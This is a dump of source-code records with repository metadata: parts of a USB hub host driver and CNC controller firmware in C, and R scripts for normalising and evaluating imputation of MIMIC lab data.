break;\n default:\n USB_PRINTF0(\"### I/F subclass not support.\\n\");\n }\n if( 0x50 == p[ len + 7 ] )\n {\n /* Check Interface Descriptor (protocol) */\n USB_PRINTF0(\" I/F protocol : BOT\\n\");\n }\n else\n {\n USB_PRINTF0(\"### I/F protocol not support.\\n\");\n }\n break;\n /* HUB Class */\n case 9:\n USB_PRINTF0(\" This device has HUB Class.\\n\");\n break;\n /* CDC-Data Class */\n case 10:\n USB_PRINTF0(\" This device has CDC-Data Class.\\n\");\n break;\n /* Chip/Smart Card Class */\n case 11:\n USB_PRINTF0(\" This device has Chip/Smart Class.\\n\");\n break;\n /* Content-Security Class */\n case 13:\n USB_PRINTF0(\" This device has Content-Security Class.\\n\");\n break;\n /* Video Class */\n case 14:\n USB_PRINTF0(\" This device has Video Class.\\n\");\n break;\n /* Vendor Specific Class */\n case 255:\n USB_PRINTF0(\" I/F class : Vendor Specific\\n\");\n break;\n /* Reserved */\n case 0:\n USB_PRINTF0(\" I/F class : class error\\n\");\n break;\n default:\n USB_PRINTF0(\" This device has not USB Device Class.\\n\");\n break;\n }\n break;\n /* Endpoint Descriptor */\n case 0x05:\n usb_hstd_EndpDescripInfo(&p[len]);\n break;\n default:\n break;\n }\n len += p[len];\n }\n#endif /* USB_DEBUGPRINT_PP */\n} /* eof usb_hstd_ConfigDescripInfo() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_EndpDescripInfo\nDescription : endpoint descriptor info\nArguments : uint8_t *tbl : table (indata).\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_EndpDescripInfo(uint8_t *tbl)\n{\n/* Condition compilation by the difference of useful function */\n#ifdef USB_DEBUGPRINT_PP\n uint16_t epnum, pipe_mxp;\n\n switch( (uint8_t)(tbl[3] & USB_EP_TRNSMASK) )\n {\n /* Isochronous Endpoint */\n case USB_EP_ISO:\n USB_PRINTF0(\" ISOCHRONOUS\");\n break;\n /* Bulk Endpoint */\n case USB_EP_BULK:\n USB_PRINTF0(\" BULK\");\n break;\n /* Interrupt Endpoint */\n case USB_EP_INT:\n USB_PRINTF0(\" INTERRUPT\");\n break;\n /* Control Endpoint */\n default:\n USB_PRINTF0(\"### Control pipe is not support.\\n\");\n break;\n }\n\n if( USB_EP_IN == (uint8_t)(tbl[2] & USB_EP_DIRMASK) )\n {\n /* Endpoint address set */\n USB_PRINTF0(\" IN endpoint\\n\");\n }\n else\n {\n USB_PRINTF0(\" OUT endpoint\\n\");\n }\n /* Endpoint number set */\n epnum = (uint16_t)((uint16_t)tbl[2] & USB_EP_NUMMASK);\n /* Max packet size set */\n pipe_mxp = (uint16_t)(tbl[4] | (uint16_t)((uint16_t)(tbl[5]) << 8));\n USB_PRINTF2(\" Number is %d. MaxPacket is %d. \\n\", epnum, pipe_mxp);\n switch( (uint16_t)(tbl[3] & USB_EP_TRNSMASK) )\n {\n /* Isochronous Endpoint */\n case 0x01u:\n /* Interrupt Endpoint */\n case 0x03u:\n USB_PRINTF1(\" interval time is %d\\n\", tbl[6]);\n break;\n default:\n break;\n }\n#endif /* USB_DEBUGPRINT_PP */\n} /* eof usb_hstd_EndpDescripInfo() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_new_connect\nDescription : new connect\nArguments : uint16_t hubaddr : hub address\n : uint16_t portnum : down port number\n : USB_CLSINFO_t *mess\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_new_connect(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t portnum, USB_CLSINFO_t *mess)\n{\n uint16_t devaddr;\n \n hubaddr = usb_shhub_HubAddr[ptr->ip];\n portnum = usb_shhub_EventPort[ptr->ip];\n\n /* New downport device search */\n devaddr = usb_hhub_GetNewDevaddr(ptr);\n if( 0 != devaddr )\n {\n USB_PRINTF1(\" Hubport connect address%d\\n\", devaddr);\n usb_shhub_InfoData[ptr->ip][devaddr].up_addr = hubaddr; /* Up-hubaddr set */\n usb_shhub_InfoData[ptr->ip][devaddr].up_port_num = portnum; /* Up-hubport set */\n usb_shhub_Process[ptr->ip] = USB_MSG_HUB_ATTACH;\n /* Next Process Selector */\n usb_hhub_SpecifiedPath(mess);\n \n }\n else\n {\n USB_PRINTF0(\"### device count over !\\n\");\n }\n} /* eof usb_hhub_new_connect() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_port_detach\nDescription : HUB down port disconnect\nArguments : uint16_t hubaddr : hub address\n : uint16_t portnum : down port number\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_port_detach(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t portnum)\n{\n uint16_t md;\n USB_HCDREG_t *driver;\n /* Device number --> DeviceAddress */\n uint16_t devaddr;\n\n /* HUB downport status */\n usb_shhub_DownPort[ptr->ip][hubaddr] &= (uint16_t)(~USB_BITSET(portnum));\n /* HUB downport RemoteWakeup */\n usb_shhub_Remote[ptr->ip][hubaddr] &= (uint16_t)(~USB_BITSET(portnum));\n /* Now downport device search */\n devaddr = usb_hhub_GetCnnDevaddr(ptr, hubaddr, portnum);\n for( md = 0; md < usb_ghstd_DeviceNum[ptr->ip]; md++ )\n {\n driver = &usb_ghstd_DeviceDrv[ptr->ip][md];\n if( devaddr == driver->devaddr )\n {\n (*driver->devdetach)(ptr, driver->devaddr, (uint16_t)USB_NO_ARG);\n\n /* Root port */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][0] = USB_NOPORT;\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][1] = USB_DETACHED;\n /* Not configured */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][2] = (uint16_t)0;\n /* Interface Class : NO class */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][3] = (uint16_t)USB_IFCLS_NOT;\n /* No connect */\n usb_ghstd_DeviceInfo[ptr->ip][driver->devaddr][4] = (uint16_t)USB_NOCONNECT;\n\n /* Root port */\n driver->rootport = USB_NOPORT;\n /* Device address */\n driver->devaddr = USB_NODEVICE;\n /* Device state */\n driver->devstate = USB_DETACHED;\n }\n }\n /* Selective detach */\n usb_hhub_selective_detach(ptr, devaddr);\n} /* eof usb_hhub_port_detach() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_selective_detach\nDescription : HUB down port Selective disconnect\nArguments : uint16_t devaddr : device address\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_selective_detach(USB_UTR_t *ptr, uint16_t devaddr)\n{\n uint16_t addr, i;\n\n addr = (uint16_t)(devaddr << USB_DEVADDRBIT);\n /* Check Connection */\n if( USB_NOCONNECT != usb_hstd_GetDevSpeed(ptr, addr) )\n {\n for( i = USB_MIN_PIPE_NO; i <= USB_MAX_PIPE_NO; i++ )\n {\n /* Not control transfer */\n if( usb_cstd_GetDeviceAddress(ptr, i) == addr )\n {\n /* Agreement device address */\n if( USB_PID_BUF == usb_cstd_GetPid(ptr, i) )\n {\n /* PID=BUF ? */\n R_usb_hstd_TransferEnd(ptr, i, (uint16_t)USB_DATA_STOP);\n }\n usb_cstd_ClrPipeCnfg(ptr, i);\n }\n }\n usb_hstd_SetDevAddr(ptr, addr, USB_DONE, USB_DONE);\n usb_hstd_SetHubPort(ptr, addr, USB_DONE, USB_DONE);\n USB_PRINTF1(\"*** Device address %d clear.\\n\", devaddr);\n }\n\n /* Root port */\n usb_ghstd_DeviceInfo[ptr->ip][devaddr][0] = USB_NOPORT;\n /* Device state */\n usb_ghstd_DeviceInfo[ptr->ip][devaddr][1] = USB_DETACHED;\n /* Not configured */\n usb_ghstd_DeviceInfo[ptr->ip][devaddr][2] = (uint16_t)0;\n /* Interface Class : NO class */\n usb_ghstd_DeviceInfo[ptr->ip][devaddr][3] = (uint16_t)USB_IFCLS_NOT;\n /* No connect */\n usb_ghstd_DeviceInfo[ptr->ip][devaddr][4] = (uint16_t)USB_NOCONNECT;\n\n} /* eof usb_hhub_selective_detach() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_GetStringDescriptor1\nDescription : Get String descriptor\nArguments : uint16_t devaddr : device address\n : uint16_t index : descriptor index\n : USB_CB_t complete : callback\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_GetStringDescriptor1(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete)\n{\n usb_hstd_GetStringDesc(ptr, devaddr, (uint16_t)0, complete);\n\n return USB_DONE;\n} /* eof usb_hstd_GetStringDescriptor1() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_GetStringDescriptor2\nDescription : Get String descriptor\nArguments : uint16_t devaddr : device address\n : uint16_t index : descriptor index\n : USB_CB_t complete : callback\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_GetStringDescriptor2(USB_UTR_t *ptr, uint16_t devaddr, uint16_t index, USB_CB_t complete)\n{\n usb_hstd_GetStringDesc(ptr, devaddr, index, complete);\n\n return USB_DONE;\n} /* eof usb_hstd_GetStringDescriptor2() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_GetStringDescriptor1Check\nDescription : Get String descriptor Check\nArguments : uint16_t errcheck : errcheck\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_GetStringDescriptor1Check(uint16_t errcheck)\n{\n if( (USB_ER_t)USB_DATA_STALL == errcheck )\n {\n USB_PRINTF0(\"*** LanguageID not support !\\n\");\n return USB_ERROR;\n }\n else if( (USB_ER_t)USB_CTRL_END != errcheck )\n {\n USB_PRINTF0(\"*** LanguageID not support !\\n\");\n return USB_ERROR;\n }\n else\n {\n }\n\n return USB_DONE;\n} /* eof usb_hstd_GetStringDescriptor1Check() */\n\n\n/******************************************************************************\nFunction Name : usb_hstd_GetStringDescriptor2Check\nDescription : Get String descriptor Check\nArguments : uint16_t errcheck : errcheck\nReturn value : uint16_t : error info\n******************************************************************************/\nuint16_t usb_hstd_GetStringDescriptor2Check(uint16_t errcheck)\n{\n if( (USB_ER_t)USB_DATA_STALL == errcheck )\n {\n USB_PRINTF0(\"*** SerialNumber not support !\\n\");\n return USB_ERROR;\n }\n else if( (USB_ER_t)USB_CTRL_END != errcheck )\n {\n USB_PRINTF0(\"*** SerialNumber not support !\\n\");\n return USB_ERROR;\n }\n else\n {\n }\n\n return USB_DONE;\n} /* eof usb_hstd_GetStringDescriptor2Check() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_GetNewDevaddr\nDescription : Get the new device address\n : when connection of a device detected in the down port of HUB\nArguments : none\nReturn value : uint16_t : New device address\n******************************************************************************/\nuint16_t usb_hhub_GetNewDevaddr(USB_UTR_t *ptr)\n{\n uint16_t i;\n\n /* Search new device */\n for( i = (USB_HUBDPADDR); i < (USB_MAXDEVADDR + 1u); i++ )\n {\n if( 0 == usb_shhub_InfoData[ptr->ip][i].up_addr )\n {\n /* New device address */\n return i;\n }\n }\n return 0;\n} /* eof usb_hhub_GetNewDevaddr() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_GetHubaddr\nDescription : Get the HUB address\n : from the pipe number for HUB notification\nArguments : uint16_t pipenum : pipe number\nReturn value : uint16_t : HUB address\n******************************************************************************/\nuint16_t usb_hhub_GetHubaddr(USB_UTR_t *ptr, uint16_t pipenum)\n{\n uint16_t i;\n\n for( i = 1; i < (USB_MAXDEVADDR + 1u); i++ )\n {\n if( usb_shhub_InfoData[ptr->ip][i].pipe_num == pipenum )\n {\n /* HUB address */\n return i;\n }\n }\n return 0;\n} /* eof usb_hhub_GetHubaddr() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_GetCnnDevaddr\nDescription : Get the connected device address\n : from the HUB address and the down port number of a HUB\nArguments : uint16_t hubaddr : hub address\n : uint16_t portnum : down port number\nReturn value : uint16_t : Connected device address\n******************************************************************************/\nuint16_t usb_hhub_GetCnnDevaddr(USB_UTR_t *ptr, uint16_t hubaddr, uint16_t portnum)\n{\n uint16_t i;\n\n for( i = (USB_HUBDPADDR); i < (USB_MAXDEVADDR + 1u); i++ )\n {\n if( ( usb_shhub_InfoData[ptr->ip][i].up_addr == hubaddr ) &&\n ( usb_shhub_InfoData[ptr->ip][i].up_port_num == portnum ) )\n {\n /* Device address */\n return i;\n }\n }\n return 0;\n} /* eof usb_hhub_GetCnnDevaddr() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_SpecifiedPath\nDescription : Next Process Selector\nArguments : USB_CLSINFO_t *ptr : USB system internal message.\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_SpecifiedPath(USB_CLSINFO_t *ptr)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *cp;\n\n /* Get mem pool blk */\n if( USB_OK == USB_PGET_BLK( USB_HUB_MPL, &p_blf) )\n {\n cp = (USB_CLSINFO_t*)p_blf;\n cp->msginfo = usb_shhub_Process[ptr->ip];\n cp->keyword = ptr->keyword;\n cp->result = ptr->result;\n\n cp->ipp = ptr->ipp;\n cp->ip = ptr->ip;\n \n /* Send message */\n err = USB_SND_MSG( USB_HUB_MBX, (USB_MSG_t*)p_blf );\n if( USB_OK != err )\n {\n /* Send message failure */\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### SpecifiedPass function snd_msg error\\n\");\n }\n }\n else\n {\n /* Get memoryblock failure */\n USB_PRINTF0(\"### SpecifiedPass function pget_blk error\\n\");\n while( 1 );\n }\n} /* eof usb_hhub_SpecifiedPath() */\n\n\n/******************************************************************************\nFunction Name : usb_hhub_SpecifiedPathWait\nDescription : Next Process Selector\nArguments : USB_CLSINFO_t *mess : USB system internal message.\n : uint16_t times : Timeout value.\nReturn value : none\n******************************************************************************/\nvoid usb_hhub_SpecifiedPathWait(USB_CLSINFO_t *ptr, uint16_t times)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *hp;\n\n /* Get mem pool blk */\n if( USB_OK == USB_PGET_BLK( USB_HUB_MPL, &p_blf) )\n {\n hp = (USB_CLSINFO_t*)p_blf;\n hp->msginfo = usb_shhub_Process[ptr->ip];\n hp->keyword = ptr->keyword;\n hp->result = ptr->result;\n\n hp->ipp = ptr->ipp;\n hp->ip = ptr->ip;\n\n /* Wait message */\n err = USB_WAI_MSG( USB_HUB_MBX, (USB_MSG_t*)p_blf, times );\n if( USB_OK != err )\n {\n /* Wait message failure */\n err = USB_REL_BLK(USB_HUB_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### SpecifiedPassWait function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### SpecifiedPassWait function pget_blk error\\n\");\n while( 1 );\n }\n} /* eof usb_hhub_SpecifiedPathWait() */\n\n#endif /* USB_FUNCSEL_USBIP0_PP == USB_HOST_PP || USB_FUNCSEL_USBIP1_PP == USB_HOST_PP */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.7201730608940125, "alphanum_fraction": 0.7348031997680664, "avg_line_length": 42.72072219848633, "blob_id": "83cf2a759be2b0f2cf7a4d359280b76750147bc7", "content_id": "4f91c91ec161d5aa2aaff7973e0a3a9cab727af5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 4853, "license_type": "no_license", "max_line_length": 105, "num_lines": 111, "path": "/src/cnc/controller.h", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/*\n * controller.h - tinyg controller and main dispatch loop\n * This file is part of the TinyG project\n *\n * Copyright (c) 2010 - 2014 Alden S. Hart, Jr.\n * Copyright (c) 2013 - 2014 Robert Giseburt\n *\n * This file (\"the software\") is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License, version 2 as published by the\n * Free Software Foundation. You should have received a copy of the GNU General Public\n * License, version 2 along with the software. If not, see <http://www.gnu.org/licenses/>.\n *\n * As a special exception, you may use this file as part of a software library without\n * restriction. Specifically, if other files instantiate templates or use macros or\n * inline functions from this file, or you compile this file and link it with other\n * files to produce an executable, this file does not by itself cause the resulting\n * executable to be covered by the GNU General Public License. This exception does not\n * however invalidate any other reasons why the executable file might be covered by the\n * GNU General Public License.\n *\n * THE SOFTWARE IS DISTRIBUTED IN THE HOPE THAT IT WILL BE USEFUL, BUT WITHOUT ANY\n * WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT\n * SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF\n * OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n */\n#ifndef CONTROLLER_H_ONCE\n#define CONTROLLER_H_ONCE\n\n#ifdef __cplusplus\nextern \"C\"{\n#endif\n\n#define INPUT_BUFFER_LEN 255\t\t\t// text buffer size (255 max)\n#define SAVED_BUFFER_LEN 100\t\t\t// saved buffer size (for reporting only)\n#define OUTPUT_BUFFER_LEN 512\t\t\t// text buffer size\n// see also: tinyg.h MESSAGE_LEN and config.h NV_ lengths\n\n#define LED_NORMAL_TIMER 1000\t\t\t// blink rate for normal operation (in ms)\n#define LED_ALARM_TIMER 100\t\t\t\t// blink rate for alarm state (in ms)\n\ntypedef struct controllerSingleton {\t// main TG controller struct\n\tmagic_t magic_start;\t\t\t\t// magic number to test memory integrity\n\tuint8_t state;\t\t\t\t\t\t// controller state\n\tfloat null;\t\t\t\t\t\t\t// dumping ground for items with no target\n\tfloat fw_build;\t\t\t\t\t\t// tinyg firmware build number\n\tfloat fw_version;\t\t\t\t\t// tinyg firmware version number\n\tfloat hw_platform;\t\t\t\t\t// tinyg hardware compatibility - platform type\n\tfloat hw_version;\t\t\t\t\t// tinyg hardware compatibility - platform revision\n\n\t// communications state variables\n\tuint8_t primary_src;\t\t\t\t// primary input source device\n\tuint8_t secondary_src;\t\t\t\t// secondary input source device\n\tuint8_t default_src;\t\t\t\t// default source device\n\tuint8_t network_mode;\t\t\t\t// 0=master, 1=repeater, 2=slave\n\n\tuint16_t linelen;\t\t\t\t\t// length of currently processing line\n\tuint16_t read_index;\t\t\t\t// length of line being read\n\n\t// system state variables\n\tuint8_t led_state;\t\t// LEGACY\t// 0=off, 1=on\n\tint32_t led_counter;\t// LEGACY\t// a convenience for flashing an LED\n\tuint32_t led_timer;\t\t\t\t\t// used by idlers to flash indicator LED\n\tuint8_t hard_reset_requested;\t\t// flag to perform a hard reset\n\tuint8_t bootloader_requested;\t\t// flag to enter the bootloader\n\tuint8_t shared_buf_overrun;\t\t\t// flag for shared string buffer overrun condition\n\n//\tuint8_t sync_to_time_state;\n//\tuint32_t sync_to_time_time;\n\n\tint32_t job_id[4];\t\t\t\t\t// uuid to identify the job\n\n\t// controller serial buffers\n\tchar_t *bufp;\t\t\t\t\t\t// pointer to primary or secondary in buffer\n\tchar_t in_buf[INPUT_BUFFER_LEN];\t// primary input buffer\n\tchar_t out_buf[OUTPUT_BUFFER_LEN];\t// output buffer\n\tchar_t saved_buf[SAVED_BUFFER_LEN];\t// save the input buffer\n\tmagic_t magic_end;\n} controller_t;\n\nextern controller_t cs;\t\t\t\t\t// controller state structure\nextern bool gfilerunning;\n\nenum cmControllerState {\t\t\t\t// manages startup lines\n\tCONTROLLER_INITIALIZING = 0,\t\t// controller is initializing - not ready for use\n\tCONTROLLER_NOT_CONNECTED,\t\t\t// controller has not yet detected connection to USB (or other comm channel)\n\tCONTROLLER_CONNECTED,\t\t\t\t// controller has connected to USB (or other comm channel)\n\tCONTROLLER_STARTUP,\t\t\t\t\t// controller is running startup messages and lines\n\tCONTROLLER_READY\t\t\t\t\t// controller is active and ready for use\n};\n\n/**** function prototypes ****/\n\nvoid controller_init(uint8_t std_in, uint8_t std_out, uint8_t std_err);\nvoid controller_init_assertions(void);\nstat_t controller_test_assertions(void);\nvoid controller_run(void);\nstat_t _command_dispatch(void);\nstat_t command_idle(void);\n//void controller_reset(void);\n\nvoid tg_reset_source(void);\nvoid tg_set_primary_source(uint8_t dev);\nvoid tg_set_secondary_source(uint8_t dev);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // End of include guard: CONTROLLER_H_ONCE\n" }, { "alpha_fraction": 0.48571428656578064, "alphanum_fraction": 0.4977443516254425, "avg_line_length": 21.415729522705078, "blob_id": "5fbbde815208983eed7ca4019f0b4bd12a9a7f9e", "content_id": "6d343f3dfca6df68db07f2752944937bb027fcf8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1999, "license_type": "no_license", "max_line_length": 66, "num_lines": 89, "path": "/src/states/config_maquina.c", "repo_name": "ustropo/MT01", "src_encoding": "IBM852", "text": "/*\n * config_maquina.c\n *\n * Created on: Oct 7, 2016\n * Author: LAfonso01\n */\n#include \"ut_context.h\"\n#include \"ut_state.h\"\n#include \"config_maquina.h\"\n#include \"eeprom.h\"\n\n#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n\nut_config_var configsMaq[CFG_MAQUINA_MAX];\n\nconst ut_state geNextStateMaq[CFG_MAQUINA_MAX] =\n{\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_VAR,\n\tSTATE_CONFIG_MAQUINA_THC\n};\n\nuint32_t mq_init_values[CFG_MAQUINA_MAX] =\n{\n\t0,\n\t0,\n\t0,\n\t0\n};\n\n/* Initial values for each config variable */\nut_config_type mq_init_types[CFG_MAQUINA_MAX] =\n{\n\tUT_CONFIG_INT, //!< Altura de deslocamento\n\tUT_CONFIG_BOOL, //!< Modo maquina\n\tUT_CONFIG_BOOL,\t\t\t\t\t\t //!< Parametros maquina\n\tUT_CONFIG_NULL //!< Parametros THC\n};\n\nchar* mq_init_names[CFG_MAQUINA_MAX] =\n{\n\t\" ALT. DESLOCAMENTO\", //!< Altura de deslocamento\n\t\" MODO M┴QUINA\", \t //!< Modo maquina\n\t\" PARAMETROS M┴Q.\", //!< Parametros maquina\n\t\" PARAMETROS THC\" //!< Parametros THC\n};\n\nfloat mq_init_max[CFG_MAQUINA_MAX] =\n{\n\t50, \t //!< Altura de deslocamento\n\t0, //!< Modo maquina\n\tNULL,\n\tNULL\n};\n\nfloat mq_init_min[CFG_MAQUINA_MAX] =\n{\n\t1, //!< Altura de deslocamento\n\t0, //!< Modo maquina\n\tNULL,\n\tNULL\n};\n\nuint8_t mq_init_point[CFG_MAQUINA_MAX] =\n{\n\t1, //!< Altura de deslocamento\n\t0, //!< Modo maquina\n\tNULL,\n\tNULL\n};\n\nfloat mq_init_step[CFG_MAQUINA_MAX] =\n{\n\t0.1, //!< Altura de deslocamento\n\t0, //!< Modo maquina\n\tNULL,\n\tNULL\n};\n\nchar* mq_init_unit[CFG_MAQUINA_MAX] =\n{\n\t\"mm\", //!< Altura de deslocamento\n\tNULL, //!< Modo maquina\n\tNULL,\n\tNULL\n};\n" } ]
223
yuanluo/mimic_imputation
https://github.com/yuanluo/mimic_imputation
dd41822c1d8f2a498ec3b5aca92fc29e02a03f3d
e145848ffb11a9a4f26e1e4b47b00b9492841cfc
03512b682e815c436311d0bb56f88de1af9e6d37
refs/heads/main
2023-08-29T01:32:55.156538
2022-05-20T15:58:04
2022-05-20T15:58:04
318,077,224
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4022824466228485, "alphanum_fraction": 0.40513551235198975, "avg_line_length": 28.20833396911621, "blob_id": "b4903abd713c02dae74cc0ef02a47985419e4271", "content_id": "5c234d350bbfb6569aeca6e85fe954bbeb511401", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 701, "license_type": "permissive", "max_line_length": 79, "num_lines": 24, "path": "/src/selfDeNorm.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "selfDeNorm <- function(V, hmax, hmin, center=F, logt=F, fncf='mimicConfig.R') {\n source(fncf)\n V.raw = V; n = length(V)\n cat(sprintf('self denormalizing\\n'))\n for (ipt in names(V)) {\n for (iv in tests) {\n if (logt) {\n V.raw[[ipt]][iv,] = exp(V[[ipt]][iv,]) - 1\n }\n k = sprintf('%s|%s', ipt, iv)\n kmax = hmax[[k]]\n kmin = hmin[[k]]\n if (center) {\n offset = (kmin+kmax)/2\n }else {\n offset = kmin\n }\n V.raw[[ipt]][iv,] = V.raw[[ipt]][iv,] * (kmax - kmin) + offset\n \n }\n }\n cat(sprintf('done\\n'))\n return (V.raw)\n}\n" }, { "alpha_fraction": 0.4158163368701935, "alphanum_fraction": 0.4183673560619354, "avg_line_length": 27, "blob_id": "f559f9f63bf12fed690ff8b17343c7a0288c3d23", "content_id": "afd61954457a0184807b0c9bca281f1ee68c1dd9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 784, "license_type": "permissive", "max_line_length": 77, "num_lines": 28, "path": "/src/selfNorm.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "selfNorm <- function(Y, hmax, hmin, center=F, logt=F, fncf='mimicConfig.R') {\n library(hash)\n source(fncf)\n V = Y; n = length(V)\n \n cat(sprintf('self normalizing\\n'))\n for (ipt in names(V)) {\n for (iv in tests) {\n k = sprintf('%s|%s', ipt, iv)\n pv = V[[ipt]][iv,]\n kmax = max(pv, na.rm=T); hmax[[k]] = kmax\n kmin = min(pv, na.rm=T); hmin[[k]] = kmin\n if (center) {\n offset = (kmin+kmax)/2\n }else {\n offset = kmin\n }\n V[[ipt]][iv,] = (pv - offset) / (kmax - kmin)\n }\n }\n if (logt) {\n for (ipt in names(V)) {\n V[[ipt]][tests,] = log(V[[ipt]][tests,]+1)\n }\n }\n cat(sprintf('done\\n'))\n return(V)\n}\n" }, { "alpha_fraction": 0.6010928750038147, "alphanum_fraction": 0.6065573692321777, "avg_line_length": 33.25, "blob_id": "ee59c9eb03333e1e9a369f390c27d188b3f1f1b4", "content_id": "934d0b98fbd327bee54ad2e5c44be56c0ea0c545", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 549, "license_type": "permissive", "max_line_length": 90, "num_lines": 16, "path": "/src/evalChallengeTest.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "evalChallengeTest <- function(tgt, naidx, dnimp) {\n source('evalPtTensorImpImportTrTeChallenge.R')\n\n timp = list()\n for (i in pts.te) {\n fn = sprintf('%s/%s.csv', dnimp, i)\n # row is time, column is variable\n timp[[i]] = read.csv(fn, row.names = 1, header = FALSE)\n rownames(timp[[i]]) <- 1:nrow(timp[[i]])\n }\n # names(timp) = as.character(1:length(timp))\n\n nrmse = evalPtTensorImpImportTrTeChallenge(timp, tgt, naidx, metric='RMSE range norm')\n cat(sprintf('%s nRMSE\\n', dnimp))\n print(nrmse)\n}\n\n" }, { "alpha_fraction": 0.5473684072494507, "alphanum_fraction": 0.557894766330719, "avg_line_length": 29.227272033691406, "blob_id": "00aa1728e36a585fdc9e0a2954388ada96765efd", "content_id": "c6d88b7dd7ae3fed51d77903f7208ea0ff599ccc", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 665, "license_type": "permissive", "max_line_length": 52, "num_lines": 22, "path": "/src/labDataGen.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "source('mimicConfig.R')\nitems = read.csv(sprintf('%s/D_LABITEMS.csv', dn))\nsubjs = read.csv(sprintf('%s/PATIENTS.csv', dn))\nsuids = subjs$SUBJECT_ID\ndnle = sprintf('%s/perSubj/LabEvents', dn)\ndnld = sprintf('%s/perSubj/LabData', dn)\ncnt = 0\nfor (suid in suids) {\n cnt = cnt + 1\n fnle = sprintf('%s/le_%s.csv', dnle, suid)\n fnld = sprintf('%s/ld_%s.RData', dnld, suid)\n if (file.exists(fnle)) {\n le = read.csv(fnle)\n ld = merge(le, items, by=c('ITEMID'))\n save(ld, file=fnld)\n if (cnt %% 1000==0) {\n cat(sprintf('%d subjs\\n', cnt))\n }\n }else {\n cat(sprintf('no lab events for %s\\n', suid))\n }\n}\n" }, { "alpha_fraction": 0.7504873275756836, "alphanum_fraction": 0.7984405755996704, "avg_line_length": 51.34693908691406, "blob_id": "e1b7ec4d4b8ca53fd611ccd8425126cbf9ced66e", "content_id": "0554d810e36ce5711c78dd4bd9ec788155b0544a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 2565, "license_type": "permissive", "max_line_length": 176, "num_lines": 49, "path": "/dacmi_challenge_code_and_data/code/batchEvalChallengeTest.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "source('evalChallengeTest.R')\ndngt = '/share/fsmresfiles/mimic3/ichi_release'\npts.te = read.csv(sprintf('%s/pts.te.csv', dngt), header=F)[,1]\n\n## load(sprintf('%s/tgt.RData', dngt))\ntgt = list()\ndn.tgt = sprintf('%s/test_groundtruth', dngt)\nfor (i in pts.te) {\n fn = sprintf('%s/%d.csv', dn.tgt, i)\n tgt[[i]] = t(read.csv(fn))\n}\nnames(tgt) = as.character(1:length(tgt))\n\nnaidx = read.csv(sprintf('%s/naidx.te.csv', dngt), stringsAsFactors=F)\n\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_181/test_imputed_interp+KNN_K3')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_182/test_filled')\n\nevalChallengeTest(tgt, naidx, 